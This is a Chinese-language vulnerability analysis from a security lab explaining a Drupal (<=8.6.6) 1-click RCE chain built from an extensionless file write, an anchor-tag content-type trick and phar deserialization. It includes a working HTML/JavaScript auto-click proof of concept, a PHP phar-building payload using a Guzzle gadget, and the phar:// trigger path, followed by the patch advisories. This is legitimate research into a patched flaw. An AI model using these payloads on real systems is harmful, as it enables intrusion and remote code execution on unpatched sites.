作者:LoRexxar@知道創宇404實驗室

時間:2019年4月19日

原文鏈接:paper.seebug.org/897/

2019年4月11日,zdi博客公開了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED.

整個漏洞的各個部分沒什麼特別的,巧妙的是,攻擊者使用了3個漏洞+幾個小trick,把所有的漏洞鏈接起來卻成了一個還不錯的利用鏈,現在我們就來一起看看整個漏洞.

無後綴文件寫入

在Drupal的機制中,設定了這樣一條規則。

用戶上傳的圖片文件名將會被保留,如果出現文件名相同的情況,那麼文件名後面就會被跟上_0,_1依次遞增。

在Drupal中為了兼容各種編碼,在處理上傳文件名時,Drupal會對文件名對相應的處理,如果出現值小於0x20的字元,那麼就會將其轉化為_

但如果文件名中,如果出現了x80xff的字元時,PHP就會拋出PREG_BAD_UTF8_ERROR,如果發生錯誤,那麼preg_replace就會返回NULL,$basename就會被置為NULL。

當basename為空時,後面的文件內容會被寫入到形似_0的文件內

在這個基礎下,原本會被上傳到

/sites/default/files/pictures/<YYYY-MM>/

則會被寫入

/sites/default/files/pictures/<YYYY-MM>/_0

當服務端開啟了評論頭像上傳,或者是擁有作者賬號時

攻擊者可以通過上傳一張惡意構造的gif圖,然後再上傳一張帶有惡意字元的同一張圖,那麼就會將惡意圖片的內容寫入到相應目錄的_0

但如果我們直接訪問這個文件時,該文件可能不會解析,這是因為

  1. 瀏覽器首先會根據服務端給出的content-type解析頁面,而服務端一般不會給空後綴的文件設置content-type,或者設置為application/octet-stream
  2. 其次瀏覽器會根據文件內容做簡單的判斷,如果文件的開頭為<html>,則部分瀏覽器會將其解析為html
  3. 部分瀏覽器還可能會設置默認的content-type,但大部分瀏覽器會選擇不解析該文件。

這時候我們就需要一個很特殊的小trick了,a標籤可以設置打開文件的type(only not for chrome)

當你訪問該頁面時,頁面會被解析為html並執行相應的代碼。

<html>
<head>
</head>
<body>
<a id=a href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a>

<script type="text/javascript">
var a = document.getElementById(a)
a.click()
</script>
</body>
</html>

當被攻擊者訪問該頁面時,我們就可以執行任意的xss,這為後續的利用帶來了很大的便利,我們有了一個同源環境下的任意js執行點,讓我們繼續看。

phar反序列化RCE

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the 「phar://」 Stream Wrapper議題,原文blackhat.com。

在該議題中提到,在PHP中存在一個叫做Stream API,通過註冊拓展可以註冊相應的偽協議,而phar這個拓展就註冊了phar://這個stream wrapper。

在我們知道創宇404實驗室安全研究員seaii曾經的研究(paper.seebug.org/680/)中表示,所有的文件函數都支持stream wrapper。

也就是說,如果我們找到可控的文件操作函數,其參數可控為phar文件,那麼我們就可以通過反序列化執行命令。

在Drupal中,存在file system功能,其中就有一個功能,會把傳入的地址做一次is_dir的判斷,這裡就存在這個問題

直接使用下面的payload生成文件

<?php

namespace GuzzleHttpPsr7{
class FnStream{

public $_fn_close = "phpinfo";

public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}

namespace{
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
$o = new GuzzleHttpPsr7FnStream();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
}
?>

修改後綴為png之後,傳圖片到服務端,並在file system中設置

phar://./sites/default/files/2019-04/drupal.png

即可觸發

漏洞要求

這個漏洞在Drual8.6.6的更新中被修復,所以漏洞要求為

  • <= Durpal 8.6.6
  • 服務端開啟評論配圖或者攻擊者擁有author以上許可權的賬號
  • 被攻擊者需要訪問攻擊者的url

當上面三點同時成立時,這個攻擊鏈就可以被成立

漏洞補丁

無後綴文件寫入 SA-CORE-2019-004

drupal.org/SA-CORE-2019

如果出現該錯誤直接拋出,不繼續寫入

github.com/drupal/drupa

phar反序列化 SA-CORE-2019-002

drupal.org/SA-CORE-2019

寫在最後

回顧整個漏洞,不難發現其實整個漏洞都是由很多個不起眼的小漏洞構成的,Drupal的反序列化POP鏈已經被公開許久,phar漏洞也已經爆出一年,在2019年初,Drupal也更新修復了這個點,而preg_replace報錯會拋出錯誤我相信也不是特別的特性,把這三個漏洞配合上一個很特別的a標籤設置content-type的trick,就成了一個很漂亮的漏洞鏈。


本文由 Seebug Paper 發布,如需轉載請註明來源。

歡迎關注我和專欄,我將定期搬運技術文章~

也歡迎訪問我們:知道創宇雲安全

推薦閱讀:

相关文章